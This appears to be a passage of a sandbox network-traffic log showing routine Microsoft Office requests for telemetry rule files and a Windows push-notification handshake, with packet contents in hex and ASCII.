2024-11-05 19:51:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:27 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 659fa809-c01e-007a-195c-2eb877000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195127Z-158dbd74bf4jwfhhhC1SN1bnb000000004kg000000001zac x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:28 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49838	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:28 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:28 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 3ec3caa0-a01e-006f-718e-2d13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195128Z-157b9fd754f2l2w5hC1SN1vs4g00000004v0000000001r31 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:28 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49836	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:28 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:28 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 117ebb00-e01e-0020-3440-2ede90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195128Z-157b9fd754fkv446hC1SN1wybs00000004zg0000000015k9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:28 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49839	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:28 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:28 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: fcf0554e-001e-0046-7a53-2eda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195128Z-158dbd74bf4t6r4bhC1SN162bw00000004bg000000003ah6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:28 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49840	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:28 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:28 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: 62e0c468-a01e-0084-1b55-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195128Z-158dbd74bf4wlzpzhC1SN10qvc0000000480000000007avx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:28 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49842	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:28 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:28 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:28 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: a6457f9b-d01e-0014-585c-2eed58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195128Z-157b9fd754f2v9cjhC1SN1cryn00000004tg000000003srf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:28 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49841	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:29 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 35 48 62 5a 33 67 49 2f 72 55 69 63 36 4d 31 54 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 32 35 37 32 61 36 64 34 32 34 32 34 64 61 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 5HbZ3gI/rUic6M1T.1Context: 72572a6d42424dac
2024-11-05 19:51:29 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-05 19:51:29 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 35 48 62 5a 33 67 49 2f 72 55 69 63 36 4d 31 54 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 32 35 37 32 61 36 64 34 32 34 32 34 64 61 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 63 74 69 48 46 6e 6c 5a 67 69 6c 39 49 45 55 51 6d 37 49 54 63 47 37 71 51 59 53 61 44 59 6a 57 46 66 77 33 70 30 2f 32 6f 38 6b 42 72 32 34 50 36 69 50 44 61 4c 70 4c 78 52 4f 2b 48 4d 58 37 45 35 4e 6a 52 48 41 74 72 61 67 4d 33 4b 46 51 4d 58 4a 77 70 32 4b 71 54 6b 2b 76 32 7a 36 2b 70 47 6b 45 62 6f 56 44 4a 4b 76 41 73 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 5HbZ3gI/rUic6M1T.2Context: 72572a6d42424dac<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAActiHFnlZgil9IEUQm7ITcG7qQYSaDYjWFfw3p0/2o8kBr24P6iPDaLpLxRO+HMX7E5NjRHAtragM3KFQMXJwp2KqTk+v2z6+pGkEboVDJKvAs
2024-11-05 19:51:29 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 35 48 62 5a 33 67 49 2f 72 55 69 63 36 4d 31 54 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 32 35 37 32 61 36 64 34 32 34 32 34 64 61 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 5HbZ3gI/rUic6M1T.3Context: 72572a6d42424dac<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-05 19:51:29 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-05 19:51:29 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 34 4e 68 6b 62 44 2b 55 77 55 61 31 6f 46 32 2b 6d 77 49 52 54 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 4NhkbD+UwUa1oF2+mwIRTQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49843	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:29 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:29 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 7766441c-101e-008d-2e5c-2e92e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195129Z-158dbd74bf4kdtcghC1SN10mk400000004g000000000138x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:29 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49844	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:29 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:29 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:29 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 161ed898-101e-0017-1055-2e47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195129Z-158dbd74bf4hnrcphC1SN1f418000000049g00000000635h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:29 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49845	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:29 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:29 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:29 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 9acac97d-a01e-0084-3378-2e9ccd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195129Z-158dbd74bf49gc9fhC1SN11n8000000004fg000000003mge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 19:51:29 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49846	13.107.253.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 19:51:29 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 19:51:29 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 19:51:29 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: dada5429-501e-007b-0d3f-2e5ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T195129Z-157b9fd754f6hqf4hC1SN1580c00000004y0000000000b8n x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
